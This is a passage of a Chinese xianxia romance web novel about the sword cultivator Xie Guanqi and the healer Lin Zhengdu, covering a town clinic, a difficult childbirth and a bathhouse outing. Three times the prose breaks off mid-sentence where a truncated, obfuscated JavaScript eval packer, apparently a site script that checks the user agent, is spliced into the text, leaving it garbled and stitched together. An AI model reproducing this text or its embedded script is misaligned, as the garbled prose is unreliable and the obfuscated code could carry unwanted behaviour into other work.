晨光穿过窗户,笼在谢观棋身上,他乌发披散,神情严肃,但面容又远还没有达到成年男性的硬朗。他浸在光晕里的脸是一张漂亮的,稚气未脱的脸,即使因为这几日卧病在床折磨得瘦了点,但还是很秀气。 一种少年式的,因为没有完全长大成熟,所以性别模糊的秀丽。 师妹叽叽喳喳向谢观棋汇报完他不在时发生的几件大事,又很没有眼色的问:“师兄你现在还能拿剑吗?下个月的宗门大比你还去不去啊?” “你不在,紫竹林的人可嚣张得意了,还说下个月大比的魁首非他们莫属!” 小师妹愤愤不平,拳头紧握,被旁边师兄踢了一脚,才回过神来,小心翼翼窥谢观棋神色。 谢观棋是众人中年纪最小的,但其他几人却显然以他为主心骨。 他没有理会小师妹说的内容,而是抱起她们送来的礼盒掂了掂——这礼盒是个低阶的收容法器,外面看着小,里面也不知道有多大。 谢观棋:“这是什么?” 小师妹回答:“我们这个月去秘境历练的成果,一头四境的梦魇。” 四境妖兽平平无奇,稀奇的是梦魇——梦魇是天生体弱的妖,要修炼到四境很不容易。 小姑娘昂着下巴十分骄傲:“是一整只喔!骨头没有碎,翅膀也是完整的。听说师兄人醒了,我们就打算把它作为贺礼送给师兄!” 不只是小师妹,其他师弟师妹也十分得意这份礼物,眼巴巴望着谢观棋,期盼这位年纪小她们许多的‘大师兄’可以夸赞她们几句。 谢观棋把礼盒随手搁到一边,没有评价:“我要在这里修养一个月,未必赶得上下个月大比。你们都回去吧,好好修炼,不要懈怠。” 见谢观棋没有要夸人的意思,师弟师妹们都有些失望。但是大师兄积威甚重,她们没有得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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谢观棋回答:“她们太吵了,如果再给一点好脸色,就会爬到我头上去。” 林争渡觉得谢观棋有点过度焦虑了,但是考虑到剑宗内部就是很卷,和药宗氛围截然不同,便也不再多嘴他人的同门关系。 不过还有一件事情,林争渡很感兴趣。 她换了个舒服的姿势,靠着墙壁,好奇的问:“你和你师妹的关系好吗?” 谢观棋:“还好。” 林争渡盯着他的脸,语气间有股微妙的玩味:“我以为你没有师妹呢,原来你有师妹啊——我师父说云省长老只有你一个亲传弟子。” 谢观棋:“剑宗长老的亲传弟子名额都只有一个,但内门弟子不限制。” 林争渡笑了笑,语气轻快:“好严格,我们药宗没有这样的规定,我师父就收了十几个亲传。” “你扫地的时候记得离中庭那些花花草草远一点,它们都有剧毒的。” 谢观棋点头应好,再扫地时人果然往旁边远离花坛的地方挪了几步。 林争渡很满意——这样听话,会主动干活,不乱问问题,聊天也算投机的病患,现在已经很少见了。 以前林争渡也治过几个快被毒死的剑宗弟子,病患醒来之后东问西问,恨不得连林争渡煮药加的水有几分甜都要问出来,烦都烦死了。 林争渡哼着小曲去配药房,开火煎药,水滚开后,她揭开手腕上的纱布,往里面挤了两滴血珠。 刚刚还颜色黑糊糊动静咕噜噜的药汁,在滴入血珠后迅速平静下来——水面不冒泡了,药汁也瞬间变得清澈无色,看起来仿佛清水一般。 唯独味道没有变,仍旧是浓郁的药味,里面混杂着血液独有的腥气。 林争渡将药汁倒进自己的长嘴浇花壶里,拎着浇花壶去中庭给她心爱的宝贝们浇水。 因为心情好,浇水的过程中林争渡也在哼曲。外表和清水无异的药汁喷洒在色泽鲜艳的花草上,腥气的草药味道也完全被植物馥郁的香气所掩盖。 等林争渡浇完花,正好谢观棋也扫完地了。 林争渡要下山去镇上补充物资,在询问过谢观棋后,两人一人背着一个背篓,一块下山去了。 药宗分内外两片区域,外层除了住一些小弟子之外,也有普通人聚集而成的城镇。 林争渡的修为还没到可以离宗历练的标准,但是去药宗外层的城镇上闲逛是被允许的。只是从药山去最近的小镇,并没有传送法阵,只能靠两条腿来走路。 山路陡峭险峻,时不时出现河流,上面连座桥都没有,只有被法术催生的巨大藤蔓纠缠蜿蜒,像独木桥似的横在上面。 谢观棋倒不觉得这样的山路难走。他只是担心林大夫会摔跤,时不时分神看向林争渡。 但很快谢观棋就发现林大夫根本不需要他担心——林争渡对山路轻车熟路得很,不仅不会摔跤,还能走在他前面,时不时回头向谢观棋伸手,拉他一把。 4. 小镇 随着山路渐渐平坦,远处城镇的轮廓也映入眼帘。 越靠近城镇,人类群居生活的痕迹就越发明显:平整的铺了地砖的大道,沿街叫卖的商贩,招牌琳琅满目的店面,炊烟与人声同起,来来往往的人群中,不时有牛车与驴车出没。 林争渡先带谢观棋去了早点摊子:一辆沿街叫卖,流动性很强的木质手推车。 手推车有改造过,外形像个立在车轮上的小房子,从‘屋顶’正面挂下一个粗布招牌,上面写着【姚记早点】四个大字。 里面卖的早点就花样很多了,有刚捞起来的油条,还冒着热气的蒸糕,甚至还有拌的凉面。 摊主是一位身形丰腴的中年妇人,脸上挂着亲和灿烂的笑容。对方显然认识林争渡,因为在看见林争渡时,她脸上笑容都变得更大了,弯起来的眼睛深陷入满月似的脸肉里,像两道简笔画的弧线。 老板:“林大夫您终于来了——今天吃点什么?要不要尝一下我们家新推出的卷饼,里面放了椿叶,等过了这个春天,就没有那么嫩的椿叶了。” 林争渡探头看了看挡板后面的早点,道:“那来两个新出的卷饼吧,还要两碗甜豆浆,一盘凉面,茶叶蛋给我来两个,今天包子是什么馅的?” 老板:“笋肉的,加了点鱼肉。” 林争渡:“那再来三个包子——先这样吧。我点完了,你要吃什么?” 谢观棋:“……啊?” 林争渡:“啊什么啊?点早饭啊!这没有你爱吃的吗?” 谢观棋反应过来:原来林争渡刚才点的那一大串早饭是她一个人吃的。 老板显然已经对林争渡的饭量习以为常,此时正眼巴巴望着谢观棋,大有谢观棋回答‘是’她就要狠狠记仇的架势。 谢观棋低垂下眼睫,假装无事发生的点了和林争渡一样的早点——只是分量翻了一倍。 林争渡感慨:“这么多?你都能吃完吗?” 谢观棋:“可以吃完。” 其实他也想问林争渡同样的问题。 林争渡没有很纠结,拍了拍谢观棋的肩膀,表示理解:“也对,你还在长身体呢。” 林争渡手劲不大,即使谢观棋现在大病初愈,也不觉得被拍痛了。但他还是有点不喜欢这句话——尤其是不喜欢林争渡说这句话。 说得似乎他年纪很小一样。他明明和林争渡差不多大。 老板在手推车旁边支了几张木桌木凳,桌子不算小了,但架不住林争渡和谢观棋点的实在是多,不仅占满了一张桌面,甚至还有点放不下。 老板见状,干脆从旁边并过来一张桌子。 这个点正是吃早饭的时候,其他桌子也有人用。但一看老板是要把桌子并给林争渡用,旁桌吃饭的人立刻高高兴兴站起来,将桌子上让给了她们。 “林大夫,您今天什么时候开诊啊?我家里老爹上回吃了药好多了,我寻思着再给他抓一份回去。” “林大夫林大夫,您能治瘸腿不?我家男人前几日进山采药,不小心把腿摔了——镇上的大夫说治不了,让我们等您开诊了再去看看。” “林大夫,我家熏了好腊肉,还有新晒的豆子,等会给您送来。您上回给开的药实在是好使,我家小孩吃完第二天就退烧了。” …… 吃早饭吃得像开大会,林争渡一边回答村民问题,一边见缝插针的吃饭。 人群把早点摊子围得水泄不通,气氛正当热闹,然而那些说话的人忽然感觉脊背发寒,不自觉打了个寒噤。空气中弥漫开一股若有若无的威压,那些忙着和林大夫搭话的镇民们都猛然发现了和林大夫同坐一桌,刚刚被她们忽略的年轻剑修。 那股令人胆寒腿软的威压正是从他身上散发出来的。 他喝了口豆浆又放下,抬起脸扫了众人一眼。 那分明是一双很漂亮的桃花眼,但是生在谢观棋脸上,既不多情缱绻,也不挑逗勾人——只余下一种极为锋利的漂亮,像一把寒光闪烁的利剑,眼光扫到的地方,被注视的人都感觉自己皮肤一阵刺痛。 一时间嘈杂的声音渐渐低了下来,众人畏惧剑修的气势,纷纷找借口走掉了。 谢观棋收敛了气势,继续低头吃早饭。 林争渡卷着拌面,问:“吵到你了?” 谢观棋回答:“人太多了。” 林争渡笑了笑,解释:“药宗弟子有义诊指标,这个镇子离我的药山最近,所以是归我负责。凡间大夫治不了的疑难杂症,也由我接手。” “加上药宗弟子给凡人治病不收取银钱,所以她们看见我会表现得比较热情,并没有恶意。” 话是这么说,但实际上也很少有药宗弟子会像林争渡那样什么病都看。医修们只会在出现大面积传染病的时候,才会出手为凡人医治,遏制病情,不使它扩散,平时并不会频繁的和镇民们交易。 但林争渡因为一些自身经历的缘故,对普通人的疑难杂症也很感兴趣,会进行无偿的定时义诊。 吃完早点,老板不肯收林争渡的钱,还用油纸包了几个不同口味的包子塞给林争渡。 林争渡坦然受了赠礼,在去医馆的途中,把包子分了两个给谢观棋。 等她们到医馆门口时,义诊的摊位上早就已经排起了长龙队,每个排队的人手上都拿着一个刻了数字的木牌。队伍看似是现在才开始排的,但实际上从几天前开始,就已经有人先来排队取号了。 有的人是确实得了急病,难以医治,也有些人家里是实在掏不出三个子儿,没钱去看医馆里的大夫,苦苦熬着,就等林争渡来免费义诊。 但是没有人刻意的占便宜——上一个刻意占便宜想不掏钱白看病的被林争渡扎了两针,到现在还不敢出现在林争渡眼前。 那件事情也让镇民们清楚的意识到:林大夫只是外貌温婉可人得像一朵白荷花,但不是真的白荷花。人是药宗里修行的弟子,瘦弱的拳头能一拳打死两头牛。 有了这样清楚的认知之后,镇民们和林争渡的相处就变得十分和谐了起来。 看病的时间总是过得飞快,林争渡感觉自己没有看几个病人,放在桌角的计时沙漏就已经到底。 医馆里的伙计抄起锤子敲了下铜锣,大声道:“到休息时间了!剩下的病人请先回家,等到下午未时再持木牌前来依序看诊!” 余下没有轮到的病人们只好散去,连带着医馆门口都瞬间变得冷清了许多。 林争渡给人看病的时候,谢观棋就坐在旁边帮忙守着药篓。不过里面的很多药材谢观棋都不认识,所以没办法做帮忙抓药的活儿,只能在林争渡需要的时候,把药篓推到她手边。 等她抓完药,谢观棋又抓着药篓带子,把药篓拽回自己面前,沉默但可靠的看守着它。 午饭她们又去了那家木质手推车——谢观棋注意到手推车挂着的粗布换了一张,从【姚记早点】换成了【姚记午食】,不过店老板仍旧是早上那名胖胖的妇人。 见谢观棋总是看那张粗布招牌,林争渡笑眯眯问:“你觉得这四个字写得怎么样?” 谢观棋收回目光:“端正。” 林争渡:“没了?” 谢观棋没有说话,只是向林争渡投去一个有点疑惑的目光,用眼神反问:还有什么? 林争渡摇摇头,转身去找凳子坐。 老板还在热锅,并逮着这点时间和林争渡搭话:“我还是第一次见林大夫带人来,这位小公子是——” 林争渡:“是我弟……” 谢观棋:“朋友。” 谢观棋平时话少,这样抢着打断别人说话更是第一次。林争渡有点诧异的看向他。 他拧着眉,微微低头与林争渡对视,低声道:“我怎么会是你弟?我们都没有血缘关系。” 他显而易见对林争渡的介绍不满,林争渡觉得好笑——并由此感觉谢观棋有点幼稚。 只有年纪小的人才很介意这点。 她抬起脸对老板微笑,并认同了谢观棋刚才的话:“嗯,是朋友。” 老板道:“咦?原来是朋友,我还以为是林大夫的师弟呢。” 谢观棋仍旧拧着眉心,“我和她不是一个师父。” 他刚说完,就听见林争渡咂舌。 谢观棋偏过脸去,瞥了眼林争渡——只见她咂舌完,还摇摇头。 谢观棋:“我说得不对吗?” 林争渡:“我还以为你很希望我们是一个师父呢。” 谢观棋实事求是道:“你没有练剑的天赋,而我也没有学医的天赋。” 这话说得十分不礼貌,但是谢观棋表情严肃认真,没有一丝一毫嘲弄的意味,只是单纯的实话实说。 林争渡也很清楚谢观棋说的是实话,但还是感觉又好气又好笑;人总不愿意被揭短,就算是事实也会令人不快。 她抱着胳膊和谢观棋拉开几步距离,道:“是,你练剑最有天赋了,加油,我相信你迟早会成为剑仙的。” 谢观棋点头:“好。” 林争渡:“……好你个头!” 谢观棋摸了摸自己的头,没有摸出自己的头好在哪里,但是看出了林争渡在瞪他,于是把嘴闭上了。 吃过午饭,距离未时还有些时间,林争渡便带着谢观棋在镇上四处逛逛。但没想到三月的天比男人还善变,两人沿街走出去没有多远,天上瞬时乌云密布,打雷闪电。 林争渡只来得及抬头看一眼,都还没说话,豆大的雨点已经噼里啪啦砸了下来。 她连忙拉住谢观棋往前跑——两边的地摊商贩也纷纷卷起家当,四处奔逃,寻找避雨的地方。 因为这场雨来得突然,以至于街上的人全无防备,一时间居然出现了天上在下暴雨,地上却人群接踵的景象。 林争渡拉着谢观棋,在人流里挤来挤去,连蹦带跳。其他人大多往两边店铺,屋檐底下去躲,以至于这两处地方都人多,躲进去也是人挤人。 林争渡一看见那堆湿漉漉挤在一起的人群,就没有了进 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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凉亭里有供人休息的石凳,不过因为久没人坐,所以有点脏。林争渡用除尘决清理了一下灰尘,提起裙角坐了下来,托腮望着亭外暴雨。 暴雨在亭子的檐边汇聚成水流,像一个倒流下来的小型瀑布。 急雨来得快,停得也快,刚刚还乌沉的天,雨一停又马上放晴了,在天边照出一轮淡淡的彩虹。 下午依旧回医馆义诊,医馆的伙计给她们送了两碟松月斋新出的蜜瓜糕和樱桃干。 林争渡觉得蜜瓜糕一般般,但是樱桃干很好吃,决定等返程的时候去买一大包走——果干耐放,可以多买一点。 这时有人跌跌撞撞闯进医馆,扰乱了医馆门前排好的队伍。 谢观棋在对方靠近医馆的瞬间,就立刻抬起了头。但他只是警惕的盯着对方,没有动手,也没有站起来。 闯入者扑到林争渡看诊的小桌面前,形容狼狈声泪俱下:“林大夫!林大夫你救救我娘子!” 其他排队的人被惊得议论纷纷,其中有人认出了男人。 “这不是李家的二郎吗?” “我记得他娘子人好好的啊,也没生病啥的。” “对啊,我前些时日,还看见他娘子扶着大肚皮,同她妯娌在亭子边吹风散步呢!” …… 林争渡把嘴里的樱桃干咽下去,“你好好说,说清楚,你娘子怎么了?” 男人一把鼻涕一把眼泪的哭诉:“我娘子生产血崩,接生婆说大人要保不住了——我知道林大夫您不是普通的大夫,求求您——” 他话音未落,就被林争渡抓住胳膊从地板上提溜起来:“那你还说什么废话?前面带路!” 不需要林争渡出声吩咐,谢观棋极有眼力见的背起两个药篓,跟上了她。 三个人出了医馆,在李二郎的带领下直奔他家。 刚走到院门口,就听见里面哭声震天,好似人已经去了的悲戚模样。李二郎一听见哭声,自己也跟着哭,刚跨过门槛,立时哭得昏厥了过去。 林争渡叹气,从没用的李二郎身上跨过去,快步进了产房。 产房门口一家老小哭哭啼啼抓着接生婆,不让她走。 身材壮硕的妇人被数人抱住了腰,一时间居然无法脱身,愁得恨不得和李家妇孺一块大哭起来。 看见林争渡,接生婆犹如见到了救星:“林大夫!林大夫来了!嗳呀,你们别抱我了,我是真的没法了!你们让林大夫瞧瞧,看还能不能救吧!” 林争渡把踉踉跄跄扑过来的几个人一把推开,“都出去,去准备热水来,没我的吩咐谁都不准进来!” 谢观棋把药篓放到一旁桌子上,大步上前拎起闲杂人等,像拎小鸡似的快速,全部扔出门外。 接生婆被扔出去后就想跑,却被谢观棋摁住了后脖颈——接生婆战战兢兢:“我,我去,烧热水?” 谢观棋松开手:“嗯,去吧。” 5. 火灵根 屋内窗户紧闭,烛光摇曳,呛鼻的新鲜血腥气冲得人头晕目眩。 林争渡掀起床帘往里一看,产妇惨白着脸在大喘气,进气少出气多,整个人已经虚脱到叫也叫不出声了。 谢观棋站在稍远一点的地方,并没有避讳孕妇,平静目光扫过那片血糊糊的床榻,“医修有接产的法术?” 林争渡:“怎么可能会有那种东西——先保大人,小孩看情况,能保就保,保不住就放弃。” 谢观棋:“不问外面那几个?” 林争渡眉头一皱:“这有什么好问的,当然是优先孕妇。” 这个世界的医修实际上并不等同于大夫——林争渡刚开始也经常把两者弄混,跟随师父佩兰仙子开始修行之后,才知道其实大部分医修根本不会治病。 医修一道有灵根限定,水,木,土三种灵根都可以尝试。如果你父母是以上三种灵根中的任意一种,那么恭喜你,你将有概率获得稀有盲盒灵根:修复灵根。 天选医修,随便用点灵力都能修复各种伤口,如果你愿意的话甚至可以用你的灵力来修打破的花瓶。 加上修炼这个东西,主打一个从娃娃抓起。林争渡见过四五十岁了突然开始学医的,但没见过四五十岁了突然开始修炼的——当然她觉得前者可能是脑子有问题——总之,从小修炼的大部分医修主要学的是术法和渡劫,很少有人在真正的医学一途浪费时间。 治疗全靠灵力修复,什么?你衰弱到修复灵力都修不好了? 哦,那你回家等死吧。 林争渡很快就释然的接受了这个设定。原先她还在想,都能修仙了还要去学医,人类对自己的折磨果然是永无止境的;但一看是不用五年本科三年规培纯用法术治,还不要求临床经验,林争渡终于觉得那些当医修的人脑子是正常的了。 直到太阳西沉,一场结合了纯粹医术和草药效果的救治结束——好在母女平安,孕妇含着回甘草片晕了过去。 林争渡把孕妇穴位上扎着的长针取下,又将用过的针头掰断扔进了灰盆。她刚刚给孕妇注射了一些吊命的草药,加上及时缝合伤口并止血,过程虽然血糊糊的有些恐怖,但是结果是好的。 安置完孕妇之后,她才有空分心去看婴儿:特别小的一个女婴,浑身通红,皱巴巴得像个猴子。 林争渡一只手就能把她掂起来,小极了。她扯下床单布,包住婴儿草草的擦拭,转手就把她交付给了接生婆。 她不太习惯抱这么幼弱的活物,把婴儿交出去后,都总还感觉自己手上残余着轻飘飘的重量,不自觉低头看自己的手。 在林争渡低头看手时,谢观棋偏过脸,注视着她。 谢观棋第一次这么专注的去看一个人的脸,在室内透亮的烛光下,林大夫侧脸上微微晃动着头发的影子。 她单薄的眼皮向下垂,就连那高而挺直的鼻梁骨,也教人觉得单薄,蒙着一层薄汗的肌肤闪烁着朦胧的光。 为了方便救治病人,林争渡把自己的头发全部用发带扎了起来,露出的脖颈侧有一道已经凝固的,黑红色的血迹,落在她洁白肌肤上,格外醒目。 这会李二郎也醒了,连滚带爬的跑进来,嘴巴一张就要哭嚎,被林争渡用毛巾塞住了嘴。 林争渡:“你家娘子累了,别吵到她,去看你的小孩吧。” 李二郎含泪点头,哭唧唧的凑过去看小孩,看见孩子瘦小虚弱,遂又将脸贴到小孩红通通还带血迹的脸上哭了一场。 林争渡用热水洗了手,把自己的柳叶刀缝合肠线等卷一卷收进包里。她走出房间时,从谢观棋旁边走过去,两人衣袖擦过,房间里闷而腥热的空气流动起来,谢观棋闻到了林争渡身上的草药味。 谢观棋身为强大的剑修,生病的次数屈指可数。但他也是接触过一些草药的,对草药味并不陌生,可是林争渡身上的草药气味,和谢观棋以前接触过的那些草药味道都不一样。 在他因为疫鬼毒而濒死昏迷时,这股草药味像一张密不透风的网,把谢观棋从死亡的深渊里打捞起来了。 谢观棋垂下眼,不自觉深吸了一口气,慢半拍的也跟出来了,背着两个药篓,站在林争渡身边。林争渡耸耸鼻尖,闻到他身上缠绕不散的血腥气——同她身上的气味一样。 林争渡向他伸出一只手,索要自己的那个药篓。谢观棋便默默卸下了轻的那个药篓,还给林争渡。 林争渡道:“一身血气,太难闻了,一起去澡堂洗洗?” 为免年轻剑修误会,她又笑眯眯补了一句:“镇上的澡堂分男女的。” 但是谢观棋脸上并没有出现她所预料的羞涩,只是平静的点头。见没有逗到人,林争渡感觉无趣,正要扭头先走——谢观棋却忽然伸出手,指尖擦过林争渡脖颈。 他大概是用了灵力,因为林争渡感觉到他指尖很烫,像火星子擦过去。 谢观棋的速度很快,林争渡根本来不及反应。等她捂住脖颈连退数步,眼睛瞪大盯着谢观棋时,他已经垂下手臂。 谢观棋:“你脖颈上有沾到血,我帮你烧掉了。” 林争渡:“……不要随便摸女生脖子,很没礼貌的!” 谢观棋认真解释:“我没有随便摸女生脖子,我是烧掉了你脖颈上沾到的血。” 林争渡瞪着他——而谢观棋因为不明所以,从而毫不心虚,那双眼尾上翘的漂亮桃花眼注视着林争渡,眼瞳里倒映出林争渡模糊的影子。 刚刚被高温蜻蜓点水过的脖颈皮肤,产生了滚热的辛辣的余痛,被捂在林争渡手掌之下。 林争渡很快就瞪累了,眉头一皱:“净讲些歪道理——跟我说对不起!” 谢观棋疑惑,觉得林争渡好不讲道理,但是一张嘴,老老实实:“林大夫,对不起。” 林争渡松开脖颈,冷哼一声,大步往外走去。谢观棋摸摸自己后脑勺,抬脚跟上她。 一路上她们都没有说话,直到走到澡堂入口。澡堂老板一看见林争渡,脸上立刻露出笑容,也没有收她们的钱,就放她们进去了。 林争渡时常来这里泡澡,所以澡堂老板特意给她单独留了一个热水池子;池子四面竖起屏风,和其他人分开,距离男浴汤那边就更远了。 池边小几上摆着梳子,零食,铜镜,还有换洗衣物。 林争渡在热水里泡了一会,慢吞吞挪到池边,把伏倒的铜镜竖起来。 她刚刚在热水里顺便洗了头发,此刻湿漉漉的长发像水藻一样贴着肩背。 镜子里倒映出一张潮湿泛红的脸,低垂的眼睫上也似乎挂上的水汽,看起来比平时更加幽黑浓密。林争渡将自己脖颈侧的头发拨开,指尖点了点那块皮肤。 谢观棋对灵力的控制确实细致入微,在烧毁血迹的同时没有一丝一毫灼烧到林争渡的皮肤。就连被高温擦出来的那一道红痕,也在浸泡热水之后完全消失了。 但是那种古怪的异样感仍旧挥之不去——林争渡仍旧能感觉到自己脖颈皮肤上附着着大量精纯活跃的火灵。 谢观棋的灵力过于纯粹,属性又恰好克制林争渡的水木双灵根,短暂触碰的瞬间让林争渡汗毛倒竖,差点反手给谢观棋一巴掌。 只是在抬眼看见谢观棋的脸后,林争渡才忍住了没有打他脸。 她‘啪’的一下将铜镜倒扣,并用掌心搓了搓自己脖颈。但是没有效果,充盈温暖的,属于谢观棋的灵力,仍旧盘桓在那片皮肤。 就好像时时有陌生人贴着自己脖颈一样。 洗完澡,换上干净的衣服,林争渡还是忍不住总伸手摩挲自己脖颈。 直到簪娘问她是否需要帮忙挽发——林争渡才连忙松开手,假装若无其事的在梳妆台上坐下,向簪娘要了册子翻看。 最后选了个很像小白兔的发髻,册子上管它叫双什么髻的。林争渡也没上心去记,转头开始挑选簪娘妆奁里的发簪首饰。 她自己只会扎简单的发型,但是又很喜欢各种复杂漂亮的发髻。所以每次下山进镇,林争渡都会来这边的澡堂洗澡,顺便请簪娘为自己梳头发,再买点自己喜欢的首饰。 * 谢观棋洗完澡,换上了澡堂给准备的衣服。 他出来得早,在休息厅没有看见林争渡。老板还记得谢观棋的脸,知道他是林争渡带过来的朋友,于是给他送了一盘糕点,告诉他距离林争渡出来还要等一会儿。 谢观棋对等人没什么意见,只是在吃糕点时看见了一个眼熟的人进来——是那个既开早点铺子,又开午食铺子的老板,此刻她推着那辆木质推车停在了澡堂门口。 而她推车上的粗布招牌也从【姚记午食】换成了【姚记宵夜】。 想到今天林争渡问过他关于招牌上的字的问题,谢观棋不禁多看了两眼。 谢观棋看字,而老板也看见了谢观棋。她注意到谢观棋的目光,于是不禁笑了,主动同谢观棋说话:“小公子要吃宵夜吗?” 谢观棋摇头:“不吃。” 老板伸手捋了捋粗布招牌,指点他道:“下回林大夫要是再问你,招牌上的字写得怎么样,你只管夸就好了。” 谢观棋一愣:“……为何?” 老板看着他,有些恨铁不成钢,道:“当然是因为这些字,都是林大夫写的啊!” 谢观棋沉默下来,并重新看了一遍粗布上面写的字。 不一会儿,女浴那边的门帘被掀开,洗完了热水澡,满脸神清气爽的林争渡大步走了出来。 她步伐轻快,头发拢至头顶攒起两弯尖角,好似一对尖尖的兔子耳朵。一圈亮晶晶的紫色花朵绕在她发髻上,往旁边还压了两支银色莲花状的短钗,同那琉璃珠花一样,都亮晶晶,闪星星,一头撞进谢观棋眼底,教他怔了一下。 谢观棋第一次见林争渡好生装扮过的模样,和她之前在山上的朴素模样大相庭径。 她还换了一身裙子——是紫白间色的,同她发饰的颜色恰好对应。 林争渡:“宵夜摊来了?刚好我也饿了。” 她探头去看挡板后面的食物,“来一只烤鹌鹑,两碗血脏羹,再包一份芝麻馅的糯米 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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林争渡拍了拍打结的裙摆,又把莲花短钗取下来放进怀里——少了那几根垂有流苏的短钗,她一下子又素净了起来。 收拾完自己,林争渡抬起头想要招呼谢观棋,却发现谢观棋已经走到自己前面去了。 林争渡挑了下眉,心想:真看不出来,这人还挺着急走的。 夜间的山林静谧幽暗,唯有月光穿过错乱枝丫落到地面上,留下细碎不成型的光影。时不时有野鸟飞掠而过,晃动树枝发出动静。 林争渡常年在药山独居,并不觉得这样的动静有什么可害怕的。谢观棋同样镇定,走在前面三步距离的地方,只时不时侧目警惕四周,像一只五感过于发达的护家犬。 只是在走了一会儿路之后,林争渡有些懊恼。 不该听簪娘的蛊惑买这双绣花鞋,爬山实在不方便。林争渡还没走多远,泥巴就已经弄污了上面的绣花,还有一些脏污漏进了鞋子里面,老硌着她脚底。 好不容易走到河边,林争渡连忙叫住谢观棋:“等等——我换双鞋,顺便冲一下脚!” 谢观棋停步,侧身向她伸手:“药篓给我。” 林争渡给了他一个笑脸:“多谢——小公子好生体贴。” 她后一句话语气轻快,明显是调侃,学了流动摊贩老板对谢观棋的称呼。 那个老板这样喊他时,谢观棋还没什么感觉。但是听见林争渡这样喊,谢观棋便皱眉:“我不小。” 林争渡:“比我小啊。” 谢观棋:“你多大?” 林争渡笑容里带上狡黠之色:“比你大——” 谢观棋拎着她的药篓沉默下来,并没有意识到林争渡只是在单纯的胡搅蛮缠,而他根本不可能缠得过林争渡。 林争渡走到河边,找了块石头坐下,脱下鞋子抖了抖,果然从里面抖出几颗石子。 她拎着鞋子自言自语:“我就说呢,这么大的石头,硌死我了。” 嘀咕着,林争渡又把袜子也脱了,径直将双脚浸进冰冷的流动水里。她本来就有水灵根,一靠近河边,河里的水灵咕噜咕噜冒起来,化作淡蓝的气泡,簇拥在林争渡身边。 她脖颈上那股存在感极强的——属于谢观棋的灵力痕迹,终于被丰盛的水灵淹没,消解。 林争渡摸着自己脖颈,长舒出一口气来。 谢观棋不喜欢那种水灵过于充沛的地方,所以主动离河边远了一点。 但离得远并不妨碍谢观棋的视线,修为高深的人五感也会得到增强。所以他只是随意一瞥,目光也能穿过水面粼粼波光,看见林大夫浸在水里的双脚。 月亮的影子碎在她脚踝边,她手臂撑在坐着的石头上,打了结的宽幅长裙在膝盖和小腿肚处堆积起柔软重叠的衣服皱褶。 很像谢观棋尚未修道之前,对传统神话故事里仙女的想象。 6. 海棠春梦 林争渡洗完脚换好了鞋,扶着石头正要往岸上走时,面前倏忽伸来一只手——在这片水光与月光交错得亮堂堂的地方,她清楚看见那只宽厚手掌上常年握剑累积起来的茧子。 她搭着那只手借力,几步跨过乱石,回到岸上。 她从谢观棋胸口走过去时,谢观棋低了下眼睫,盯着她发髻间那串琉璃做的紫色珠花。 矿石于月光下闪烁出晶莹剔透的光彩,在谢观棋脸颊上照出几块细小的光斑。他缓慢松了手,目光再往下,看见林争渡揉了揉被他握过的手腕。 她手腕被握红了一截,指痕清晰印在瓷白肌肤上。 第二天一早,林争渡早起吃了两块现成糕点,随后将穷奇骨架搬到院子中央,做二次处理。 剑宗的人办事固然高效,但是在对待材料这件事情上就有些粗暴了。林争渡用药水化掉兽骨上残余的血肉后,发现穷奇的头盖骨顶上好大一个破洞。 破洞约莫半个手掌大小,还有蛛网一样的裂痕以破洞为中心,往四边蔓延。 下颚骨也碎了一角,还少了两根肋骨。 林争渡在那些剑痕上摸来摸去,摸着穷奇温热刺手的骨头,等她摸到头盖骨上裂开的部分时,发现自己只是微微用力,那部分头盖骨居然真的碎了! 林争渡痛心疾首:“暴力!太暴力了!” 所以她才不喜欢委托剑宗的人找材料,每次送材料过来总是东一块西一块的。 头骨碎成这样,是没办法用来做花盆了——林争渡绕着巨大的骨架走了一圈,琢磨着是把它做成一个花架子挪到中庭去,还是略微加工挪去后院当小池景观里的摆设。 “穷奇骨?” 林争渡循声抬头,看见谢观棋从门外进来。 林争渡惊奇道:“对,是穷奇骨……咦,你不在房间里啊?” 谢观棋:“院里太窄,去外面找了处空旷地方练剑。” 林争渡一听,也不关注骨头了,快步走到谢观棋面前,扣住他手腕把脉——骤然被他人触及脉门,谢观棋指尖颤了颤,但是忍住了没有把林争渡推开。 林争渡是大夫,给他把脉很正常。 谢观棋在心里这样告诫自己,指尖的轻颤也被他慢慢压下去。 林争渡把了会谢观棋的脉象,惊奇的发现此人体内灵力充盈气息深厚——之前被疫鬼毒磨损的身体居然就已经好得七七八八了! 她都还没来得及给谢观棋喂补药呢!这恢复得也太快了吧? 林争渡:“你练剑的时候会动用灵力吗?” 谢观棋回答:“只是晨练,不会刻意调动体内灵力。但我自幼修行,体内灵力已经养成了周天自转的习惯。” 林争渡松开了他的手腕,颇为可惜:“你恢复得很快,暂时是用不上补药了。” 谢观棋重新看向那具庞大的穷奇骨——润白的骨头上还残留水珠,显然已经被林争渡炮制过一番了。 他想到了中庭里林争渡种的那些花,便问:“你打算把它也做成花盆吗?” 林争渡摇头:“这个头盖骨碎了,修不好,没办法做花盆,我打算把它做成一个花架子,或者摆件——具体做成什么,我还没有想好。” 看了眼面前这个不够完美的骨架,林争渡的目光忍不住飘移到另外一尊十分完美的‘骨架’身上:谢观棋此刻浑然不知道自己在林争渡眼里也不过是一具骨架,正仰着脸,微微拧眉盯着那尊被剑气损坏了的穷奇骨。 